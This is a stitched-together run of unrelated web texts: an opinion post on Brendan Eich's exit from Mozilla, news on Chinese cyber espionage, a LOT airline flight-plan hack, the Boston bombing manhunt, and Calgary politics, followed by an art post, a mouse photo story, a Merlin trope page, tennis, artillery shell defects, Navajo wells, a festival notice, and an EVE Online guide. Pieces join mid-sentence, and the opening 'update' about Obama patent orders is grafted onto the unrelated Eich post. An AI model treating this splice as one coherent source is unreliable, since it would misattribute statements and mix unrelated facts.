Update: The New York Times confirmed on Tuesday that President Obama did issue the five executive orders for new regulations on patent disclosures.If the headline strikes some as offensive, it will nevertheless remain, because that’s the case I’m making, and I’m sticking with it: a gay CEO with a pair of brass ones needs to step up and speak truth to a growing, and most illiberal new power. He or she needs to hire Brendan Eich in some sort of corporate leadership capacity for the sake of the most fundamental of freedoms — the freedom to think what you want to think, even if your thinking is unpopular or deemed “mistaken” — and in so doing boldly declare that our society has no truck with inquisitions.
If you’re going to get hung up on my vulgarisms, stop reading now, because there will be more and none of them will begin to approach the level of the patented-pure-d-bullshit that is the groveling of Mozilla before a victorious movement that, feeling its oats, needs to catch its breath and show some damned maturity and discernment. Writes Andrew Sullivan:
Will he now be forced to walk through the streets in shame? Why not the stocks? The whole episode disgusts me – as it should disgust anyone interested in a tolerant and diverse society. If this is the gay rights movement today – hounding our opponents with a fanaticism more like the religious right than anyone else – then count me out. If we are about intimidating the free speech of others, we are no better than the anti-gay bullies who came before us.
The very same people who have declared, “I yam what I yam”, and “we’re here, we’re queer; get used to it,” and who fought against discrimination on the basis of physical or emotional natures are proving themselves empty of magnanimity in victory. They are now saying “don’t be who you are,” and “you’re wrong, you’re gone; get used to it.” They’re applauding employment discrimination on the basis of an intellectual or spiritual philosophy.
What are they, anyway, philosophobes? Are they so terrified of any outlook which does not conform to theirs? I always thought a well-founded argument could withstand a little principled opposition. Apparently not.
Let’s think about this, for a second. Barack Obama only “evolved” on the issue of gay marriage when his re-election team deemed it necessary. Hillary Clinton came along even later, once the issue was clearly showing up in the “win” column. They blow with the wind, stand for nothing, but they’re given a pass. Meanwhile, as Allahpundit notes:
The difference between Eich and Obama is that. as far as we know, Eich didn’t lie to people’s faces about his views to further his own ambition. He could have publicly renounced his donation this week in the name of keeping his job, but apart from a statement about making sure that Mozilla supports everyone regardless of orientation, he didn’t...When forced to choose Eich evidently preferred to sacrifice his job [rather than recant].
Imagine that. A man who didn’t simply kowtow to a movement for the sake of personal or political expediency! Take a big whiff and marvel, boys and girls, because that’s a fragrance rarer than ambergris; it’s the scent of leadership in the morning, and it is almost unknown around these North American parts.
Clearly America’s successes since the 1690’s have been illusory; in reality, she has only moved her witch hunts and trials from Salem to Silicon Valley.
Well, I have known gay people and loved gay people and buried gay people and fed gay people and edited gay people and argued on their behalf, even when it has at times meant facing opposition from my co-religionists. It seems to me some “official gay folk” need to step up, and speak up for the basic human right of free speech and free thought for all people — without fear of poverty and social stigma.
that this chill wind will be checked or reversed — too many people with money and influence and no individual courage at all find totalitarianism an alluring idea. Nevertheless, though everything is part illusion, I’ll still resist and say, as Tom McDonald so succinctly puts it, “this shit has to stop.”
Indeed; it is an execrable, detestable trend that, if unchecked, will affect every facet of our lives as “correct” thoughts and “correct” ways become ever-narrower and trap more and more people in its stinking and miserable gullies.
Do yourself a favor and watch The Lives of Others, and see how narrow it all becomes:
In a particularly creepy scene, a Stasi captain, observing that a neighbor has seen his crew bug the protagonist’s apartment, explains to her that a word of warning to the neighbor will end her daughter’s academic career at University...watching these lonely, desperate lives, observing the ease with which careers are destroyed on the merest whim of an ambitious party member, or the merest unguarded whimsy of a joke, is hair-raising.
I would ask my gay friends to openly reject this movement to oppress so-called “wrong” thinking — suffocate it right now, as it is being born — because eventually it will grow into a monster that will consume anyone, indiscriminately.
On a different note, we may rejoice that “Don’t Ask Don’t Tell” has been repealed and that gay men and women are serving in our military, because — as a young person passing through my house noted, on hearing the Eich story — “gays should always have been welcomed into the military; turns out when they’re motivated, they’re freaking ruthless!”
Well, yes, but that’s not exclusive to gays; it is true of members of any group that creates an idol of their ideology, forces everyone else to bow to it, loses sight of the humanity of those who will not, and begins to punish.
Someone should write a book about that, you say? Well, someone has, complete with study guide.
Who knew a book on idolatry would be so relevant to the times?
Comments are still closed for Lent.
UPDATE: First Things asserts the IRS leaked the list of Prop 8 donors?. Apparently a misunderstanding. In California, such donations are a matter of public record; no leak required.
Related:
Leah Libresco, The Perils of Workplace Purges
The Culture Wars: All fun and games until someone gets hurtWASHINGTON (Reuters) - China is using espionage to acquire technology to fuel its military modernization, the Pentagon said on Monday, for the first time accusing the Chinese of trying to break into U.S. defense computer networks and prompting a firm denial from Beijing.
A member of the People's Liberation Army's navy guard of honour adjusts military uniforms before an official welcome ceremony outside the Great Hall of the People, in Beijing April 15, 2013. REUTERS/Jason Lee
In its 83-page annual report to Congress on Chinese military developments, the Pentagon also cited progress in Beijing’s effort to develop advanced-technology stealth aircraft and build an aircraft carrier fleet to project power further offshore.
The report said China’s cyber snooping was a “serious concern” that pointed to an even greater threat because the “skills required for these intrusions are similar to those necessary to conduct computer network attacks.”
“The U.S. government continued to be targeted for (cyber) intrusions, some of which appear to be attributable directly to the Chinese government and military,” it said, adding the main purpose of the hacking was to gain information to benefit defense industries, military planners and government leaders.
A spokeswoman said it was the first time the annual Pentagon report had cited Beijing for targeting U.S. defense networks, but China dismissed the report as groundless.
The U.S. Defense Department had repeatedly “made irresponsible comments about China’s normal and justified defense build-up and hyped up the so-called China military threat,” Chinese Foreign Ministry spokeswoman Hua Chunying said.
“This is not beneficial to U.S.-China mutual trust and cooperation,” Hua told reporters. “We are firmly opposed to this and have already made representations to the U.S. side.”
China’s defense build-up was geared towards protecting its “national independence and sovereignty,” Hua said.
On the accusations of hacking, Hua said: “We firmly oppose any groundless criticism and hype, because groundless hype and criticism will only harm bilateral efforts at cooperation and dialogue.”
Despite concerns over the intrusions, a senior U.S. defense official said his main worry was the lack of transparency.
“What concerns me is the extent to which China’s military modernization occurs in the absence of the type of openness and transparency that others are certainly asking of China,” David Helvey, deputy assistant secretary of defense for East Asia, told a Pentagon briefing on the report.
He warned of the “potential implications and consequences of that lack of transparency on the security calculations of others in the region.”
The annual China report, which Congress began requesting in 2000, comes amid ongoing tensions in the region due to China’s military assertiveness and expansive claims of sovereignty over disputed islands and shoals. Beijing has ongoing territorial disputes with the Philippines, Japan and other neighbors.
Beijing’s publicly announced defense spending has grown at an inflation-adjusted pace of nearly 10 percent annually over the past decade, but Helvey said China’s actual outlays were thought to be higher.
China announced a 10.7 percent increase in military spending to $114 billion in March, the Pentagon report said. Publicly announced defense spending for 2012 was $106 billion, but actual spending for 2012 could range between $135 billion and $215 billion, it said. U.S. defense spending is more than double that, at more than $500 billion.
The report highlighted China’s continuing efforts to gain access to sophisticated military technology to fuel its modernization program. It cited a laundry list of methods, including “state-sponsored industrial and technical espionage to increase the level of technologies and expertise available to support military research, development and acquisition.”
Dean Cheng, an analyst at the conservative Heritage Foundation think tank, said he was surprised by the number of cases of human espionage cited in the report.
“This is a PLA (People’s Liberation Army) that is extensively, comprehensively modernizing,” Cheng said. “...China is also comprehensively engaging in espionage.”
China tested its second advanced stealth fighter in as many years in October 2012, highlighting its “continued ambition to produce advanced fifth-generation fighter aircraft,” the report said. Neither aircraft of its stealth aircraft was expected to achieve effective operational capability before 2018, it said.
Last year also saw China commission its first domestically produced aircraft carrier. China currently has one aircraft carrier bought abroad and conducted its first takeoff and landing from the ship in November.More than 10 airplanes were grounded on Sunday after hackers apparently got into computer systems responsible for issuing flight plans to pilots of Poland's state-owned LOT airline. The apparent weak link? The flight plan-delivery protocol used by every airline. In fact, though this may be the first confirmed hack of its kind, it's very similar to a mysterious grounding of United Airlines planes that happened last month.
Yesterday, hackers breached the network at Warsaw's Chopin airport, causing some flights to be cancelled and others to be delayed. Approximately 1,400 passengers on flights headed to Dusseldorf, Hamburg, Copenhagen, and cities in Poland were affected by the grounding. The problem was reportedly fixed after about five hours.
"We're using state-of-the-art computer systems, so this could potentially be a threat to others in the industry," LOT spokesman Adrian Kubicki told the BBC.
It's possible that potentiality is already a reality. Last month, all United flights in the US were grounded for nearly an hour after the airline apparently experienced problems with flight plans dispatched to its pilots.
United provided few clues about what occurred at the time—saying only through a spokesman that flights were delayed "to ensure aircraft departed with proper dispatching information." But passengers onboard several delayed aircraft tweeted that they'd been told bogus flight plans were the problem.
Passenger Edward Benson, founder and CTO of the tech firm Cloudstitch, tweeted that his pilot had told passengers they were being grounded due to a possible hack of United’s computer network, which resulted in bogus flight plans popping up in the system. After the problem was resolved he later tweeted, "Pilot said flight plan system had been spitting out 'random plans over and over.'"
Another passenger named Christ Habets tweeted, "Andy from @UnitedAirlines is telling us that flight plans from planes in the AIR dropped flight plans." AIR likely refers to the ACARS datalink system, or Aircraft Communications Addressing and Reporting System, that is used to distribute flight plans and other data to pilots before and during a flight.
The Problem Is Systemic
Although Polish authorities haven't provided details about what occurred with the flight plans in that case, the problem with both the LOT planes and United may very well be the protocol for delivering flight plans: It doesn't require authentication, according to Peter Lemme, an independent consultant who chairs the SAE-sponsored Ku/Ka band satcom subcommittee, which is developing a proposed standard for end-end secure networking using broadband radios installed on airplanes. Lemme says the issue would allow a hacker to send bogus flight plans to pilots, irrespective of which branded flight-plan system an airline used.
Here's how the protocol works: Ground computers calculate the appropriate flight plan for planes, and generally someone on ground also approves the plan before distributing it to pilots. Pilots receive plans before taking off, as well as en route if a change occurs during a flight. Plans can be uploaded to planes via a datalink.
Any flight plan sent to a plane has to conform to the protocol standard for that particular plane's software—which would be different for 757s than it would for 767s, Lemme notes. But once a hacker figures out those protocols, it would be possible to issue a bogus flight plan.
"There's more we could do in this area as far as authenticating that the flight plan is coming from a legitimate source," he says. "Right now, [the system] is relatively trusting—if it comes in and it's properly formatted, the system will accept it."
This doesn't mean, however, that a pilot would blindly follow it. It's important to note that while this loophole could cause confusion resulting in planes being grounded before takeoff, Lemme says it wouldn't be a safety concern since there are checks in place to ensure that pilots don't follow incorrect flight paths that take them into the course of another plane. These checks apparently worked as they were intended in Poland when flights were grounded.
"[The flight plan] doesn't just go into the system and take over the airplane," Lemme says. "The pilot has to accept it or has to manually transcribe it into the flight avionics system." If the flight plan is odd, that will stand out. "The pilot will see a presentation of the flight routing, like with a car GPS, and he'll say, 'What the hell, it has me going out to Alabama when I'm going to California. That's not right'."
The flight crew will then contact the airline, and "that's where everything will grind to a halt," Lemme says. "There's not a single situation where you can issue a command to the airplane and have it go into an active memory without the pilot first accepting it and taking action to load it into the system. And ultimately you've got two pilots at every single flight who are going to look at that and they're going to have a conversation over it" if a flight plan doesn't make sense.
Security expert Peter Lemme says the problem of bogus flight plans is not a safety issue.
Lemme says the problem of bogus flight plans is not a safety issue. "It's more confusing than anything else. It would leave the airplanes flying inefficiently and not going in the correct route," he says.
Even if the changes in a flight plan were so subtle that they wouldn't cause a pilot to be alarmed, Lemme says passengers shouldn't worry about pilots flying their planes into one another.
If a pilot were to receive a flight plan via data link en route that indicated he or she should change route, the pilot would negotiate this with air traffic through voice communication first. "And air traffic would have something to say if [a change] would put them in the path of another airplane…. Air traffic is constantly looking at the path of every airplane and determining whether it might intersect with another airplane and will raise an alarm," he says. Planes are also equipped with sensors that will alert pilots if they're in the vicinity of other aircraft.
But Lemme says the system currently operates under the assumption that the data sent to pilots is legitimate, and it really should be designed in such a way that it rejects bogus flight plans before they reach the pilot. "We're working on that right now."Police have confirmed that the second Boston bombing suspect Dzhokhar Tsarnaev, is alive and in custody after a standoff in Watertown district.
A local CBS TV station cited Boston's Mayor Thomas Menino on Friday as saying a man believed to be the suspect was surrounded in Watertown.
The Reuters news agency reported that according to state police, Tsarnaev was bleeding, in serious condition and was being taken to Massachusetts General Hospital.
President Barack Obama said Tsarnaev's capture closes what he called "an important chapter in this tragedy".
Bombing suspect Dzhokhar Tsarnaev, 19, was taken to hospital in serious condition after being captured [AFP]
Obama spoke from the White House shortly after law enforcement took 19-year-old Dzhokhar into custody in a boat that was parked in a Massachusetts neighbourhood backyard. His older brother was killed earlier on Friday in an attempt to escape police.
Al Jazeera's correspondent, Alan Fisher, reporting from Boston, said that news of Dzhokhar's apprehension was met with cheers throughout Boston.
"This is a city that said 'We will not be broken, we will not be beaten by what happened'," Fisher said.
Our correspondent said that the suspect was found when the FBI had been alerted to a "trail of blood", with conflicting reports that a suspect had been pinned down.
A local man contacted the authorities, said Fisher, having noted that his shed door, where he stores the boat, was open, and saw what he thought were pools of blood.
Our correspondent said that shots were heard being fired in Watertown and that police had been telling people "stay down and stay away from windows".
Watertown resident Joseph Gerson said he had seen armed police running down his street.
Just hours earlier, Massachusetts Governor Deval Patrick lifted a stay-in-place order for Boston and mass transit reopened while police pressed ahead with a manhunt for the second suspect in the Boston Marathon bombing.
Three people died and more than 170 were hurt when two bombs exploded near the finish line of Monday's marathon in an attack seen as the worst since the events of September 11, 2001.
Watertown 'a warzone'
"It is like living in a warzone. You have to be concerned for your family," Gerson said.
Earlier, investigators were searching "door-to-door, street-to-street" in Watertown, and had searched about 60 per cent of the homes so far.
Police said they would conduct a "controlled explosion" in Cambridge, Massachusetts, later on Friday as part of their investigation into the Boston Marathon bombings.
The move was being taken "out of an abundance of caution" to protect officers conducting a search of a building, Massachusetts state police spokesman Timothy Alben said.
A national security official identified the hunted man as Dzhokhar Tsarnaev and said the dead suspect was his brother, Tamerlan Tsarneav, 26.
An uncle, Ruslan Tsarni, who lives in a Washington suburb, told The Associated Press that the men lived together and had been in the United States for about a decade.
They came from a region near Chechnya that has been plagued by an insurgency related to a separatist war.
The suspects' father told the AP his younger son was a second-year medical student and described him as "a true angel".
On Thursday night, a university police officer was killed, a transit police officer was wounded, and the suspects carjacked a vehicle before leading police on a chase that resulted in the first suspect being shot dead.
Following the developments in the night, police cordoned off the suburb of Watertown and told residents not to leave their homes or answer the door as officers in combat uniforms carrying rifles scoured a 20-block area.
Public transportation throughout the metropolitan area was suspended, and air space was restricted. Universities including Harvard, MIT and public schools were closed.
'A terrorist'
Police were searching for the younger Tsarnaev, previously known only as Suspect 2, who was shown wearing a white cap in surveillance pictures taken shortly before Monday's explosions and released by the FBI on Thursday.
"We believe this to be a terrorist," Boston Police Commissioner Ed Davis said. "We believe this to be a man who has come here to kill people. We need to get him in custody."
The older brother, previously known as Suspect 1, who was seen wearing a dark cap and sunglasses in the FBI images, was pronounced dead.
The FBI on Thursday identified the men as suspects in the twin blasts believed caused by bombs in pressure cookers placed inside backpacks left near the finish line of Monday's Boston Marathon.The economy, entrepreneurs and efficiency at city hall were the three themes for a trio of top-polling candidates for the Calgary mayor’s office at a town hall hosted by the Chamber of Commerce Monday night. However, at the end of the evening, the conversation devolved into a battle of personality rather than policy by the two top contenders.
WATCH: Calgary mayor’s debate raises concerns about shortage of specifics
“We’ve all had employees that showed a lot of promise,” candidate Bill Smith said, taking aim at incumbent Naheed Nenshi while choosing not to name him. “But as time goes along you realize they’re maybe not the right person for the job.”
“They don’t listen to advice, they don’t keep their promises, they don’t learn from their mistakes, they don’t work well with others, and they always think they’re the smartest person in the room.”
“What do you do,” Smith asked. “You fire them.”
READ MORE: Calgary election 2017: Candidates running for mayor and council
Talking to reporters after the event Nenshi snapped back at Smith, taking aim at the former Alberta PC president’s vagueness in explaining how he’d run the city.
“I think it’s important not just to say ‘we’ll fix it,'” Nenshi said. “‘We’ve gotta do something’ – that’s a line we heard today from Mr. Smith. Well, what’s something?”
“You wouldn’t hire anybody who actually has no idea what they’re talking about. You wouldn’t hire anybody who’s never walked into your building before. You wouldn’t hire anybody who’s never been to a city council meeting.”
Nenshi described Smith as somebody with “big money but small ideas.”
READ MORE: Calgary election 2017: mayoral candidates invited to forum at U of C
When pressed on the lack of detail in his talking points, Smith pointed to the long tenure of both Nenshi and Andre Chabot as the basis for their ability to be more thorough in their answers.
“These two guys have had seven years to learn all the details on everything,” Smith said. “I’ll admit I’ve got a lot to learn.”
Watch below: Political commentator
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do it now and pay later
fullbody surprise comm for my friend josh of his fursona :D took 2 days or so of work, on and off cuz im sick as piss and keep falling asleep at 8 @_@
SUPER fun to work on though, i've never really drawn a tiger before so this was new and incredibly cool to do. He said he liked deadpool so I found a deadpool shirt and tried to draw it on myself! the deadpool pic is on amazon. xP
many thanks to him for the inspiration to draw! :3
art © me
character © ta-kon @ deviantART!
as always, use is only for him! please do not reupload on any sites without asking prior <3 (while the advertising is nice i'd much rather have control over where my work goes!)He said it was a '
This is the adorable moment a tiny harvest mouse managed to climb its way up a dandelion stem before playing with the flower head.
Martin Snelson, 33, captured the 55mm long rodent as it played among the flowers for an hour at Ashton-in-Makerfield in Wigan.
The tiny creature was dwarfed by the flower and ended up covered in dandelion seeds as it rubbed its nose in the familiar white foliage.
Mr Snelson, a maintenance engineer from Warrington, Cheshire, said he felt 'privileged' to photograph the mouse from just five feet away.
He said: 'Not very many people have the chance to see them in the wild, so to get to watch this mouse was released a great honour.'
Harvest mice are typically found in fields of cereal crops, such as wheat and oats, and are also found in tall ground vegetation, such as long grass.
It is the smallest European rodent - with many adults weighing as little as four grams.
On the up: The adorable harvest mouse climbs the dandelion stem at in Ashton-in-Makerfield, Cheshire
Time to play: The 55mm long animal rubbed its nose in the flower head sending dandelion seeds everywhere
Curious: After blowing all the dandelion seeds out, the tiny mouse bounded between two empty flower heads
Oops: The mouse appeared to slip as it bounded between the flower heads but soon managed to climb up
Are you looking at me? The little creature spent more than one our playing among the foliage in Cheshirehttp://tvtropes.org/pmwiki/pmwiki.php/Series/Merlin2008
— The Great Dragon "In a land of myth and a time of magic, the destiny of a great kingdom rests on the shoulders of a young man. His name...Merlin."
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Merlin is a BBC1 series that first aired on September 20th, 2008 and ended December 24th, 2012. It follows Merlin of King Arthur fame in the early stages of his career (except that he's younger than Arthur). The series had a total of five seasons with thirteen episodes per season.
The timeslot and intended audience were the same as for Doctor Who and Robin Hood. It was picked up by NBC to air in January 2009. This is the first time in several years that a British TV show has been bought for broadcasting by a major US network. It got a second series, after having done very well against The X Factor and, following a third series, a fourth and fifth were commissioned.
The series focuses on the story and journey of an idealistic, naïve young wizard or warlock, Merlin (Colin Morgan), who goes to live with his mother's old friend Gaius (Richard Wilson), Camelot's greatest physician. Merlin hopes to find a way to use his powers for good, but finds that King Uther (Anthony Head), the ruler of Camelot, has banned magic and executes anyone found practicing it. Merlin saves the life of Uther's heir and only son, Prince Arthur (Bradley James), from an evil witch. He is then rewarded with the position of Arthur's servant. Merlin also encounters the Great Dragon (voiced by John Hurt), who prophesies that Arthur, when he becomes King of Camelot, will someday create the fair and just kingdom of Albion. He tasks Merlin to guide and protect Arthur. Merlin must use his magic to combat magical enemies and protect Camelot while keeping his true nature and identity a secret.
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Other main characters of the series include Morgana (Katie McGrath) and Guinevere (Angel Coulby). Morgana, Uther's ward, struggles with visions of the future and her emerging magical powers, which gradually turns her against Uther. Guinevere works as Morgana's servant, is close friends with Merlin, and eventually becomes Arthur's main love interest.
There is a character sheet and a recap page for the series. Tropes relating to those should go there.
Not related to the 1998 miniseries starring Sam Neill, besides having the same source material.
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Tropes sub-pages:When Kei Nishikori and Hyeon Chung take to the court on Saturday they will have created a new tennis milestone. Their clash will mark the first time in tennis history that two players from the Far East have met in the third round of a Grand Slam.
Few can argue that this – while it may not receive the recognition it deserves – is a landmark moment for tennis in the region. It is a section of the world which is starting to make its mark on the tennis landscape, driven forward by the talismanic figures of Li Na and Kei Nishikori.
Kei Nishikori and Li Na – catalysts of change
Both are icons in, not just their own country, but the region as a whole and are clear evidence that the Far East now believes it can crack the tennis bubble. The success of these two players seems to have opened the door for a wave of new talent muscling its way into the fold.
Kei Nishikori’s Saturday opponent Hyeon Chung is perhaps the leader of this new wave. Never far from a #NextGen promotional campaign, Chung has had a wonderful clay court to date.
The South Korean’s most impressive run this year came in Barcelona when the youngster reached the quarter-finals, defeating the German pair of Philipp Kohlschreiber and Alexander Zverev in the process. This run was only brought to a halt by Rafael Nadal and, on clay, that is perfectly acceptable this year.
He followed the Barcelona success with a semi-final in Munich, falling to Guido Pella in an enthralling three set encounter. Now at Roland Garros, Sam Querrey and Denis Istomin have fallen at the feet of Chung in the opening two rounds.
New crop of players from the Far East
Yet Chung is just one member of the Kei Nishikori supporting cast. 21-year-old Yoshito Nishioka found some marvellous form in Indian Wells earlier in the year and moved into the top 70 before a horrible ACL injury brought a halt to his season in Miami.Two more Japanese players, Taro Daniel and Yuchi Sugita, are also lower down in the top 100.
Chung is not the only talented youngster to hail from South Korea either. Duck-hee Lee, a partially deaf 19-year-old, has an exciting future and is on the cusp of bridging the gap into the top 100.
While Nishikori’s success seems to have inspired plenty of men from Japan and South Korea, Li Na’s success is inspiring a similar wave of players from China on the women’s side. Shuai Zhang and Shuai Peng have both been on the circuit for over ten years but are finding more and more familiar names supporting them in the latter stages of tournaments. Qiang Wang troubled Venus Williams in the first round of Roland Garros and is not far from the top 50. Zhang, Peng and Wang are joined by Yingying Duan and Saisai Zheng who complete the five Chinese later plugging away in the top 100.
Japan also has four players in the top 100 including the hugely talented Naomi Osaka. Alongside Osaka is the recognisable name of Kurumi Nara, Nao Hibino and Risa Ozaki. Most promising for Japan is that all four of these players are younger than 26.
Tennis’ growth in the Far East has certainly been a slow burner but the rewards are starting to show. The visibility of notable stars at the top of the game has opened up the floodgates and a host of future stars are now starting to follow suit.
French Open: Kei Nishikori or Hyeon Chung?
That bring us back to the small matter of the match in question; Kei Nishikori versus Hyeon Chung. On paper it is the superstar Nishikori who holds all the cards but tennis is not played on paper and Chung has a more than reasonable chance.
The big question mark is around Nishikori’s fitness. There were concerns before the tournament began and these came back to the fore when he brought on the trainer in his second round match against Jeremy Chardy.
There are a remarkable number of similarities between the two. Both have only dropped one set so far in the tournament. Nishikori has won seven of his last ten matches while Chung has won eight. Both are predominantly defensive baseliners and both perform well on clay.
What this match is likely to be is abrasive. A battle of attrition could certainly favour Chung, especially with the lingering doubts over whether Nishikori’s body will hold up. If Nishikori wins this it will be in straight sets. Anything longer could prove problematic.
Whatever the result of the match the real winner here is the development of tennis. Tennis can historically be linked to certain areas of the world and the more matches in Grand Slam’s between players from new parts of the world the better.
This might be the first third round Grand Slam meeting between two men from the Far East but, given the growth of the sport in the region, it is unlikely to be the last.
Enjoy what you read? Make sure to take a look at our complete 2017 French Open coverage for other great content similar to this.
Main Photo:WASHINGTON -- The Army is scrambling to correct a defect detected in some Excalibur artillery shells first discovered in December 2015, the service said in response to questions from Defense News.
Raytheon is the manufacturer of the Excalibur 155 mm guided artillery shell. The current variant has been in full-rate production since 2014. Excalibur is a popular munition for its range and accuracy and has been used in Afghanistan.
A minor crack was discovered in an Excalibur projectile's high-explosive material inside the warhead during routine stockpile surveillance testing. The problematic projectile was manufactured in 2007, but the Army subsequently found more cracks in newer production munitions as well, according to Audra Calloway, a spokeswoman at Picatinny Arsenal, home of the Excalibur program office.
As a precaution, the Army is using X-ray to screen all of its Excalibur projectiles at one of its ammunition plants in the US and "options are being reviewed" on whether it's feasible to X-ray projectiles deployed with soldiers on the front lines, according to Calloway.
An investigation is ongoing to determine the root cause of the defect, she added. At the same time, corrective actions are being taken to assure future projectiles do not have the same problem.
"The most probable cause is from the loads induced on the High Explosive billet after assembly into the warhead body that results from production process variations," according to Calloway.
The Army said the cracks "so far" have not had an impact on "form, fit, function or safety," Calloway said.
"Extremely large cracks" in the warhead's explosive material can increase the risk of a warhead detonating early during gun firing, she said. "The range of impacts depends on the severity of the premature functioning, but could range from weapon damage to personnel injury or death."
But because the cracks found in the Excalibur munitions thus far have been small, "there likely would have been no problem," if they had been fired, Calloway added.
"However, the size of the crack did exceed the system specifications and would have increased the risk beyond the one-in-a-million norm," she stated.
Calloway noted that no projectile warheads have malfunctioned during any combat, developmental or surveillance activity in either the US or in combat zones.
The X-ray screening and "minor" changes made to avoid cracks in the future will not affect the contract unit cost of the projectile or any new production schedules, she added.Posted by Barry Hamilton, NRCS Utah, Yahaira Lopez, NRCS NHQ, and Sarah Graddy, NRCS NHQ in Conservation
Two chapters of the Navajo Nation in Utah are getting new livestock wells, thanks to USDA’s Natural Resources Conservation Service.
Members of the Teec Nos Pos and Red Mesa Chapters use wells drilled deep into the desert floor to water their 1,000 or so cattle. (A chapter is both a rural community and a unit of local government in the Navajo Nation.) But in the 2000s, the Navajo Nation Water Code Administration found, through testing, that these wells had high levels of arsenic, uranium and E. coli, rendering them non-potable for both humans and livestock.
After the discovery, ranchers had to truck in water from up to two hours away for their livestock because they could not afford to drill new wells. Despite their best efforts, because of the harsh desert conditions, some of the cattle died.
Over the past year, through USDA’s StrikeForce for Rural Growth and Opportunity initiative, NRCS was able to partner with the chapters and the Navajo Nation Department of Agriculture to dig two new wells and safely decommission the contaminated wells.
StrikeForce addresses high-priority funding and technical assistance needs in rural communities in 16 states, including Arizona, with a special emphasis on historically underserved communities and producers in counties with persistent poverty. NRCS was able to contribute 90 percent of the cost of digging the new wells and closing up the old wells.
The Navajo Nation, which is about 27,000 square miles—the size of West Virginia—has one of the highest poverty levels of any area in the United States. More than 173,000 people live on the reservation.
Now that the new wells have been drilled, NRCS is helping the Teec Nos Pos and Red Mesa Chapters install pipeline and troughs to provide multiple access points for cattle to drink from.
Because of the success of this project, Fred White, Executive Director of the Navajo Nation Division of Natural Resources, is now exploring more opportunities to enhance and protect the natural resources of Tribal lands with NRCS and other USDA agencies.
Follow NRCS on Twitter.
Check out other conservation-related stories on the USDA blog.
Cattle drink clean water from a new well on the Navajo Nation, dug with the help of NRCS.Get the biggest weekly stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
THE ‘UK’s only lesbian festival’, which has won national and international awards, is to take place at Prestwold Hall in Loughborough this weekend.
From Friday, July 21, until Monday, July 24, L Fest, a lesbian music, arts and comedy festival, will be taking place.
The event, which is to see Sian Evans and Toby headline, will include dance, cabaret, DJs, film, music, poetry, hot tubs, authors and more.
L Fest has won many national and international awards for Best lesbian event and Best Festival.
For tickets and more information, visit www.lfest.co.uk
The website states: “L Fest welcomes everyone who supports what we stand for and wants to be part of this wonderful community. We welcome and encourage the whole LGBTQI community and our straight allies.”As-salaam alaikum friends. Today I am going to write about a topic I really enjoyed discussing back when the skill injectors were introduced to the game: player skill versus skillpoints. It should be pretty obvious that skill injectors can not make you good at EVE, but does that mean that a new guy should totally ignore and avoid them?
Skill Injectors
These items were introduced earlier this year and they instantly created a lot of controversy. Multiple articles/blog posts/badposts discussed whether they are good or bad for the game, if skill injectors equal pay-to-win or if they go against the spirit of the training system in EVE. Another common complaint was that the old way of getting intel by checking a character’s age was no longer valid – suddenly there were one-day-old heavy interdictor alts flying around. However, that whole thing goes out the window when you are discussing someone just starting out with EVE. Only an older player has the actual experience and means to even think of flying a hictor alt right away.
So when do you use these things on your new character? I would personally not recommend them straight away and wait until you are a bit further into your EVE career. Injectors are not exactly cheap and in the beginning you may not really know yet what you want to do with your character.
Pitfalls
Skill injectors carry many dangers with them, especially for the newer generation of players who are more used to pay-to-win games. The first and most obvious danger is the fact that skill injectors essentially allow you to pay for instant access to content. In EVE, where you have permanent loss, this can be pretty punishing. Certain stuff, like PvP skill, is best learned from the bottom up. Skipping the basics and foundations of PvP knowledge is not going to end well.
The golden rule to follow here is to never inject above your experience as a player. Maxed out skills will never make you win fights with ships you don’t have experience with.
For people who are coming from another game into EVE another common mistake is to think that more expensive things are always better. On the extreme you have purple officer modules that should not be fitted on subcaps in my opinion.
A less extreme example would be when you are early in your EVE career and see that shiny Megathron as your ship. So you inject skills to fly it, buy a nice T2-fit Megathron and decide to go out looking for PvP. You might even have injected perfect support skills, although it’s almost certain you forgot some of them, but even that doesn’t matter unless you know your engagement profile.
“CCP Rise once said that he does not fear a player with many kills on his killboard but a player with many losses”
This is something that in some ways has to be taught the hard way by losing multiple ships. CCP Rise once said that he does not fear a player with many kills on his killboard but a player with many losses. And I really have to agree with this. As long as you learn something from each loss, even if it’s as small as “don’t fight that guy ever again” you will become better at EVE. It took me maybe 1,000 losses to really perfect one ship class, know pretty much all types of engagements in that class and learn to recognise the people living in the regions I mostly frequent while PvPing.
So the problem here is that you take out your Megathron but lack the knowledge of what every other ship in the game can do to you, and this will end badly. A good example of this is this video where a Iteron solos a Megathron:
Another example would be how a Heron – a simple T1 exploration frigate – can easily take down every single non-drone/missile frigate in the game just because it can fit a hard counter, but you need to know that.
“You need to learn what your engagement profile is and stick to that”
The same thing can easily happen to you if you decide to go out in a bigger ship without knowledge. T1 frigates can get under the guns of a battleship or stay at range and kite you. A single support ship can shut you down, and this is information you must learn from experience. There are too many combinations of ship-fits with their various capabilities to list every rock-paper-scissors scenario. You need to learn what your engagement profile is and stick to that.
Then we have the ISK cost. This is not something that can be ignored and it’s a sure way to burn out or ragequit EVE. It’s a bad start to come into EVE and do PvE all day just to afford a single injector. It can very easily become like a drug where your entire income goes into injectors just to get somewhere faster, similar to how people often come into EVE and the first thing they say is “How do I make a PLEX on my trial account?” This is a problem because there is no realistic end where you can say “Hey my character is done.” You might max out a Tristan for example but after doing that you decide that you want to max out a Kestrel or even a cruiser and that can go on and on until you hit the diminishing returns and the costs become unrealistic.
Remember that you do not need to use injectors to max out every single skill and often level IV is more than enough for most. EVE is in the end a game and you should have fun playing it or find happiness elsewhere. Spending eight hours a day on money making chores could very easily turn it into a job or an addiction and that is never good.
Another temptation to buy yourself skills is caused by watching PvP videos. While they are great and often show some amazing fights, you have to know that it took the pilot a long time to get to that point. Also there are multiple hidden modifiers that do not show up in the video which have to be taken into account. Things such as links, boosters and implants can help a ton and you must also consider that it most likely took some big losses to get to the point where you can attempt 1 vs 10’s and come out on top.
Conclusions
“No matter how many ships you attempt to fly, you will never win unless you understand the basic mechanics.”
The entire assumption that skill injectors allow pay-to-win is false. No matter how many ships you attempt to fly, you will never win unless you understand the basic mechanics. The same rules apply to expensive modules. You have to know what you want to do with that faction module before fitting it and must understand how it will benefit your ship. Most of the time you do not need faction tackle mods on anything because it’s simply not cost effective. But there are certain ships where a faction mod or two can take the overall fit to a whole other level, and that is knowledge skill points will never teach you.
So should you use them then as a new guy? Personally I think you can effectively use skill injectors early in the game, but you must keep in mind that in EVE bigger is not always better and more expensive certainly isn’t either.
